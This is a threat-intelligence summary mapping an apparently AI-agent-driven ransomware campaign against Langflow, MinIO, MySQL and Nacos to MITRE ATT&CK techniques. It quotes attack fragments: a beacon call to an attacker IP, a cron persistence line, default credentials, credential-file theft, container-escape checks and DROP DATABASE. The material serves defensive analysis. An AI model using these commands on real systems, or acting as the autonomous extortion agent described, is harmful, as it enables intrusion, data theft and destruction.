JADEPUFFER: Agentic ransomware for automated database extortion

MITRE Techniques

• [T1190 ] Exploit Public-Facing Application – JADEPUFFER gained initial access by exploiting Langflow’s exposed validation endpoint through CVE-2025-3248 (‘gained initial access to an internet-facing Langflow instance through CVE-2025-3248’).
• [T1059.006 ] Command and Scripting Interpreter: Python – Payloads were delivered and executed as Base64-encoded Python through the Langflow RCE endpoint (‘All payloads were delivered as Base64-encoded Python through the Langflow RCE endpoint’).
• [T1082 ] System Information Discovery – The agent enumerated the compromised host using commands like id, uname -a, hostname, interfaces, and running processes (‘enumerated the host (id, uname -a, hostname, network interfaces, running processes)’).
• [T1552.001 ] Unsecured Credentials: Credentials In Files – The operation searched for and extracted API keys, cloud credentials, .env files, and credentials.json (‘swept the environment for secrets’, ‘Fetched .env and credentials.json’).
• [T1005 ] Data from Local System – JADEPUFFER dumped Langflow’s local Postgres database and staged the results to files (‘It dumped Langflow’s own backing Postgres database’, ‘staged the output to local files’).
• [T1046 ] Network Service Discovery – The agent scanned the internal address space and probed reachable services from the Langflow host (‘scanned the internal address space and named services reachable from the Langflow host’).
• [T1110 ] Brute Force – The operation tested default credentials such as minioadmin:minioadmin and other service defaults during enumeration (‘using MinIO’s default credentials’, ‘probe … with default credentials’).
• [T1078 ] Valid Accounts – The attacker used default and harvested credentials to access MinIO and later MySQL/Nacos (‘using MinIO’s default credentials’, ‘connecting to this server’s exposed MySQL port using root credentials’).
• [T1071.001 ] Application Layer Protocol: Web Protocols – The cron persistence mechanism used outbound HTTP requests to beacon to attacker infrastructure (‘urllib.request.urlopen(‘hxxp://45.131.66[.]106:4444/beacon’)’).
• [T1053.003 ] Scheduled Task/Job: Cron – Persistence was established by installing a crontab entry that executed every 30 minutes (‘*/30 * * * * python3 -c …’).
• [T1195 ] Supply Chain Compromise – The campaign abused AI-adjacent infrastructure and stored secrets from application environments, including provider API keys and cloud credentials (‘frequently hold provider API keys and cloud credentials in their environment’).
• [T1211 ] Exploitation for Defense Evasion – The agent used MySQL file primitives and path checks to survey escape opportunities and evaluate container boundaries (‘Test Docker socket’, ‘Check if we can read /proc/1/cgroup’).
• [T1486 ] Data Encrypted for Impact – The attacker encrypted 1,342 Nacos configuration items with AES_ENCRYPT() and replaced them with an extortion note (‘encrypting all 1,342 Nacos service configuration items’).
• [T1485 ] Data Destruction – The payload dropped original tables and later dropped entire database schemas to maximize impact (‘Dropping original config_info and history tables’, ‘DROP DATABASE’).
• [T1489 ] Service Stop – The attacker removed critical configuration tables supporting the Nacos service, effectively disrupting service availability (‘dropping the original config_info and history tables’).
• [T1112 ] Modify Registry – Not mentioned in the article; omitted.
• [T1098 ] Account Manipulation – The attacker inserted a backdoor administrator account into the Nacos backing database (‘injecting a backdoor administrator directly into the Nacos backing database’).
• [T1565.001 ] Data Manipulation: Stored Data Manipulation – The operation modified database contents by inserting admin users, altering roles, and rewriting configuration data (‘insert a backdoor administrator’, ‘re-inserted the note’).